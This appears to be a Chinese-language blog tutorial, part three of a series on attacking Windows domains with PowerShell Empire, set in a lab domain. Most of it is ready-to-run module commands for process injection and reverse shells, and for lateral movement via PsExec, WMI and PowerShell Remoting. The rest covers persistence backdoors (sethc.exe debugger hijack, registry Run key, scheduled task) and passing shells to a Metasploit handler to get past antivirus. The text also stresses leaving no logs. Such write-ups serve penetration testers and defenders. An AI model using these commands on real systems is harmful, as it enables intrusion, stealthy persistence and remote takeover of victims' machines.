PowerShell滲透–Empire(三)

  • 2019 年 10 月 26 日
  • 筆記

會話注入
我們可以使用usemodule management/psinject模塊來進程注入,獲取權限
設置下Listeners和ProcID這2個參數,這裡的ProcID就是之前的CMD的pid,反彈回域用戶權限shell
usemodule management/psinject
set Listener Micr067
set ProcID 3768
execute
 
 
3.Invoke-PsExec
PsExec缺點是基本殺毒軟件都能檢測到,並會留下日誌,而且需要開啟admin$ 445端口共享。
優點是可以直接返回SYSTEM權限。
使用該模塊的前提是已經獲得本地管理員權限,甚至域管理員賬戶,然後以此來進一步持續滲透整個內網。
我們測試該模塊前看下當前agents,有個機器名為WIN-PC2的服務器,如下圖所示。
使用模塊usemodule lateral_movement/invoke_psexec滲透域內另一台機器
這裡要設置下機器名和監聽,注意這裡的機器名是機器的全名,命令執行完畢成功獲得新的session
set ComputerName WIN-DC.payload.com
set Listener Micr067
execute
因為我上個session是管理員權限,使用psexec模塊直接將管理員權限提升到system權限
4.Invoke-WMI
WMI比PsExec安全,所有window系統啟用該服務,當攻擊者使用wmiexec來進行攻擊時,Windows系統默認不會在日誌中記錄這些操作,這意味着可以做到攻擊無日誌,同時攻擊腳本無需寫入到磁盤,具有極高的隱蔽性。但防火牆開啟將會無法連接。
usemodule lateral_movement/invoke_wmi
set Listener Micr067
execute
 
WMI還有一個usemodule lateral_movement/invoke_wmi_debugger模塊,是使用WMI去設置五個Windows Accessibility可執行文件中任意一個的調試器。這些可執行文件包括sethc.exe(粘滯鍵,五下shift可觸發),narrator.exe(文本轉語音,Utilman接口激活)、Utilman.exe(windows輔助管理器,Win+U啟用),Osk.exe(虛擬鍵盤,Utilman接口啟用)、Magnify.exe(放大鏡,Utilman接口啟用)。相關配置參數如下:
5.Powershell Remoting
PowerShell remoting是Powershell的遠程管理功能,開啟Windows遠程管理服務WinRM會監聽5985端口,該服務默認在Windows Server 2012中是啟動的,在Windows Server 2003、2008和2008 R2需要通過手動啟動。
如果目標主機啟用了PSRemoting,或者擁有啟用它的權限的憑據,則可以使用他來進行橫向滲透,
 
開啟PowerShell remoting功能
Enable-PSRemoting
usemodule lateral_movement/invoke_psremoting
set ComputerName WIN-PC2.payload.com
set Listener Micr067
execute
 
0×08. 後門
1.權限持久性劫持shift後門
usemodule lateral_movement/invoke_wmi_debugger
set ComputerName WIN-DC.payload.com
set TargetBinary sethc.exe
execute
運行後,在目標主機遠程登錄窗口按5次shift即可觸發後門,即可進入cmd命令窗口。
 
注意:sethc.exe也可替換為以下選項。
A.Utilman.exe(快捷鍵為: Win + U)
B.osk.exe(屏幕上的鍵盤Win + U啟動再選擇)
C.Narrator.exe (啟動講述人Win + U啟動再選擇)
D.Magnify.exe(放大鏡Win + U啟動再選擇)
 
2.註冊表注入後門
使用usemodule persistence/userland/registry模塊,運行後會在目標主機啟動項添加一個命令
usemodule persistence/userland/registry
set Listener Micr067
set RegPath HKCU:SoftwareMicrosoftWindowsCurrentVersionRun
execute
運行後當我們登陸系統時候就會運行,反彈回來
 
3.計劃任務獲得系統權限
在實際滲透中,運行該模塊時殺軟會有提示。
usemodule persistence/elevated/schtasks
Set DailyTime 22:50
set Listener Micr067
execute
命令執行完畢返回一個高權限的shell
這裡如果把set RegPath 的參數改為HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun,那麼就會在22:35分添加一個註冊表注入後門。
 
0×09. Empire反彈回Metasploit
實際滲透中,當拿到webshell上傳的MSF客戶端無法繞過目標機殺軟時,可以使用powershell來繞過也可以執行Empire的payload來繞過,成功之後再使用Empire的模塊將其反彈回Metasploit。
usemodule code_execution/invoke_shellcode
set Lhost 192.168.190.133 # Lhost為msf所在主機ip
set Lport 1521
execute
 
在MSF上設置監聽,運行後,就可以收到Empire反彈回來的shell了
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set Lhost 192.168.190.133
set lport 1521
run